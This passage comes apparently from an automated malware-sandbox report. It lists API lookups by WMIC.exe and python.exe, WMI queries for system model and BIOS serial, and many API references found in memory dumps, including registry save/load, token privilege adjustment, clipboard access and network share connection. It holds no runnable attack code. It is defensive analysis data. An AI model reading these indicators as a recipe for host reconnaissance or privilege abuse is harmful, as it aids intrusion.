00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter RtlRegisterFeatureConfigurationChangeNotification (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter NtQueryWnfStateData (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter RtlSubscribeWnfStateChangeNotification (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter RtlDisownModuleHeapAllocation (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter RtlQueryFeatureConfiguration (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter RtlDllShutdownInProgress (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter QueryProtectedPolicy (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter AmsiScanString (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter RtlUnregisterFeatureConfigurationChangeNotification (UID: 00000000-00004700) "WMIC.exe" called "GetProcAddress" with a parameter RtlUnsubscribeWnfNotificationWaitForCompletion (UID: 00000000-00004700) "python.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00006988) "python.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00006988) "python.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00006988) "python.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00006988) "python.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00006988) "python.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00006988)50:T48a,"SELECT Model FROM Win32_ComputerSystem" (Source: 00000000-00001520-00002714-1552600281, Indicator: "select model from win32_computersystem") "SELECT SerialNumber FROM Win32_BIOS" (Source: 00000000-00001508-00002714-1558098864, Indicator: "select serialnumber from win32_bios") "SELECT SerialNumber FROM Win32_BIOS" (Source: 00000000-00001508.00000000.180396.C80B0000.00000004.mdmp, Indicator: "select serialnumber from win32_bios") "SELECT * FROM MSFT_CliAlias" (Source: 00000000-00001520.00000000.180024.629B6000.00000002.mdmp, Indicator: "select * from msft_clialias") "SELECT * FROM MSFT_CliTranslateTable" (Source: 00000000-00001520.00000000.180024.629B6000.00000002.mdmp, Indicator: "select * from msft_clitranslatetable") "SELECT * FROM" (Source: 00000000-00001520.00000000.180024.629B6000.00000002.mdmp, Indicator: "select * from") "SELECT Model FROM Win32_ComputerSystem" (Source: 00000000-00001520.00000000.180024.6A4E2000.00000004.mdmp, Indicator: "select model from win32_computersystem") "select * from Win32_OperatingSystem" (Source: 00000000-00008852.00000000.181116.55D2C000.00000002.mdmp, Indicator: "select * from win32_operatingsystem")51:T8774,Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegRestoreKeyW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegLoadKeyW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegUnLoadKeyW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegSaveKeyExW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "SearchPathW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "CharNextW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "IsCharAlphaNumericW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegFlushKey"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetFileSize"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "LocalReAlloc"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegSaveKeyW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "RegEnumKeyW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "NtQueryKey"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetThreadLocale"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleOutputCP"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "HeapValidate"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "StrStrIW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00001164.00000000.183356.72670000.00000002.mdmp") Found reference to API (Indicator: "QueryProtectedPolicy"; Source: "00000000-00001520.00000000.180024.1746D000.00000004.mdmp") Found reference to API (Indicator: "RaiseFailFastException"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "RtlNtStatusToDosErrorNoTeb"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "RtlDllShutdownInProgress"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeEx"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CoUninitialize"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CoInitializeSecurity"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "OpenClipboard"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "EmptyClipboard"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "SetClipboardData"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CloseClipboard"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CharUpperW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "LoadStringW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetLocalTime"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetFileSizeEx"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CopyFileW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleScreenBufferInfo"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleTextAttribute"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetComputerNameW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDefaultUILanguage"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "lstrlenW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetLocaleInfoW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetUserPreferredUILanguages"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCursorPosition"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleMode"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleScreenBufferSize"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "IcmpSendEcho"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "SetThreadUILanguage"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "DebugBreak"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "IsDebuggerPresent"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "OutputDebugStringW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockExclusive"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockExclusive"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "AcquireSRWLockShared"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSRWLockShared"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "ReleaseSemaphore"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "SetThreadpoolTimer"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "WaitForThreadpoolTimerCallbacks"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CloseThreadpoolTimer"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "OpenSemaphoreW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CreateThreadpoolTimer"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "Process32FirstW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "Process32NextW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "K32GetModuleFileNameExW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexExW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CreateSemaphoreExW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "SetConsoleCtrlHandler"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CreateEventW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "lstrlenA"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "RtlCaptureContext"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "RtlLookupFunctionEntry"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "RtlVirtualUnwind"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "StrStrIW"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "DelayLoadFailureHook"; Source: "00000000-00001520.00000000.180024.629B6000.00000002.mdmp") Found reference to API (Indicator: "BitBlt"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found reference to API (Indicator: "CreateCompatibleDC"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found reference to API (Indicator: "CreateFontIndirectW"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found reference to API (Indicator: "SleepEx"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found reference to API (Indicator: "OffsetRect"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found reference to API (Indicator: "RedrawWindow"; Source: "00000000-00001896.00000000.181826.ED900000.00000004.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00004364.00000000.182186.BAE50000.00000004.mdmp") Found reference to API (Indicator: "RegConnectRegistryW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "WNetCancelConnection2W"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "WNetAddConnection2W"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00008852.00000000.181116.55D2C000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueW"; Source: 